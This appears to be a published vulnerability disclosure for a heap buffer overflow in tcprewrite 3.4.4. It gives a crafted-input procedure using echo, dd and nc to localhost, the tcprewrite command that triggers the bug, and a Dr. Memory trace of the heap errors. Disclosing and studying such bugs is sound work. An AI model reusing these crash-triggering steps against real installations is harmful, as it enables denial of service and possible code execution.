################ #Title: tcprewrite Heap-Based Buffer Overflow #CWE: CWE-122 #Exploit Author: Hosein Askari #Vendor HomePage: http://tcpreplay.synfin.net/ #Product Description: When you want to give a PCAP file to someone, it gives away certain sensitive information such as an organizations internal IP range, IP addresses of sensitive company assets, MAC addresses of critical hardware that could identify the product vendors. Tcprewrite is a security tool to rewrite packets stored in PCAP file format, such as created by tools such as tcpdump and ethereal. #Version : 3.4.4 Released under the Free BSD License #Tested on: Ubuntu 16.04 (Linux 4.4.0-93-generic) #Date: 11-09-2017 #Category: Application #Author Mail : hosein.askari@aol.com #Description: tcprewrite in Tcpreplay 3.4.4 has a Heap-Based Buffer Overflow vulnerability triggered by a crafted PCAP file can cause a memory corruption and potential code execution. ############### #First we make a crafted file and send it to the network and capture its information by wireshark. ~Step 1: sudo echo -ne '\x63\x72\x61\x66\x74\x65\x64\x20\x66\x69\x6c\x65\x20\x69\x73\x20\x6d\x61\x64\x65\x20\x62\x79\x20\x48\x6f\x73\x65\x69\x6e\x20\x41\x73\x6b\x61\x72\x69' | dd conv=notrunc bs=1000 seek=200 of=tcp3.txt ~Step 2(Sending the information and capturing by wireshark): import os for i in range(1,20): os.system("cat tcp3.txt | nc 127.0.0.1 21") ~Step 3(Using tcprewrite): sudo tcprewrite --portmap=21:2121 --infile=tcp.pcap --outfile=output.pcap ################ #POC: constantine@constantine:~/Downloads/DrMemory-Linux-1.11.0-2/bin$ sudo ./drmemory -- tcprewrite --portmap=21:2121 --infile=tcp.pcap --outfile=output.pcap ~~Dr.M~~ Dr. Memory version 1.11.0 ~~Dr.M~~ WARNING: application is missing line number information. ~~Dr.M~~ ~~Dr.M~~ Error #1: UNADDRESSABLE ACCESS beyond heap bounds: writing 0x080d458f-0x080d4590 1 byte(s) within 0x080d458c-0x080d4590 ~~Dr.M~~ # 0 replace_memcpy [/work/drmemory_package/drmemory/replace.c:246] ~~Dr.M~~ # 1 tcprewrite!? +0x0 (0x0804ae59 ) ~~Dr.M~~ # 2 tcprewrite!? +0x0 (0x08049f91 ) ~~Dr.M~~ # 3 tcprewrite!? +0x0 (0x0804a1a1 ) ~~Dr.M~~ Note: @0:00:01.045 in thread 2521 ~~Dr.M~~ Note: next higher malloc: 0x080d45b0-0x080e45af ~~Dr.M~~ Note: instruction: mov %eax -> (%ebx) ~~Dr.M~~ ~~Dr.M~~ Error #2: UNADDRESSABLE ACCESS beyond heap bounds: writing 0x080d459c-0x080d459d 1 byte(s) ~~Dr.M~~ # 0 replace_memcpy [/work/drmemory_package/drmemory/replace.c:252] ~~Dr.M~~ # 1 tcprewrite!? +0x0 (0x0804ae59 ) ~~Dr.M~~ # 2 tcprewrite!? +0x0 (0x08049f91 ) ~~Dr.M~~ # 3 tcprewrite!? +0x0 (0x0804a1a1 ) ~~Dr.M~~ Note: @0:00:01.047 in thread 2521 ~~Dr.M~~ Note: next higher malloc: 0x080d45b0-0x080e45af ~~Dr.M~~ Note: instruction: mov %dl -> (%eax) ~~Dr.M~~ ~~Dr.M~~ Error #3: UNADDRESSABLE ACCESS beyond heap bounds: reading 0x080d458f-0x080d4591 2 byte(s) within 0x080d458d-0x080d4591 ~~Dr.M~~ # 0 libc.so.6!__GI___mempcpy [../sysdeps/i386/i686/multiarch/../mempcpy.S:54] ~~Dr.M~~ # 1 libc.so.6!__GI__IO_default_xsputn [/build/glibc-KM3i_a/glibc-2.23/libio/genops.c:438] ~~Dr.M~~ # 2 libc.so.6!_IO_new_file_xsputn [/build/glibc-KM3i_a/glibc-2.23/libio/fileops.c:1352] ~~Dr.M~~ # 3 libc.so.6!__GI__IO_fwrite [/build/glibc-KM3i_a/glibc-2.23/libio/iofwrite.c:39] ~~Dr.M~~ # 4 libpcap.so.0.8!pcap_dump +0x5f (0xb79f1100 ) ~~Dr.M~~ # 5 tcprewrite!? +0x0 (0x0804adc6 ) ~~Dr.M~~ # 6 tcprewrite!? +0x0 (0x08049f91 ) ~~Dr.M~~ # 7 tcprewrite!? +0x0 (0x0804a1a1 ) ~~Dr.M~~ Note: @0:00:01.071 in thread 2521 ~~Dr.M~~ Note: next higher malloc: 0x080d45b0-0x080e45af ~~Dr.M~~ Note: instruction: rep movs %ds:(%esi) %esi %edi %ecx -> %es:(%edi) %esi %edi %ecx ~~Dr.M~~ ~~Dr.M~~ Error #4: LEAK 8 direct bytes 0x080c3168-0x080c3170 + 0 indirect bytes ~~Dr.M~~ # 0 replace_malloc [/work/drmemory_package/common/alloc_replace.c:2576] ~~Dr.M~~ # 1 tcprewrite!? +0x0 (0x08059e6c ) ~~Dr.M~~ # 2 tcprewrite!? +0x0 (0x0804ea21 ) ~~Dr.M~~ # 3 tcprewrite!? +0x0 (0x0804c264 ) ~~Dr.M~~ # 4 tcprewrite!? +0x0 (0x08049e0c ) ~~Dr.M~~ # 5 tcprewrite!? +0x0 (0x0804a1a1 )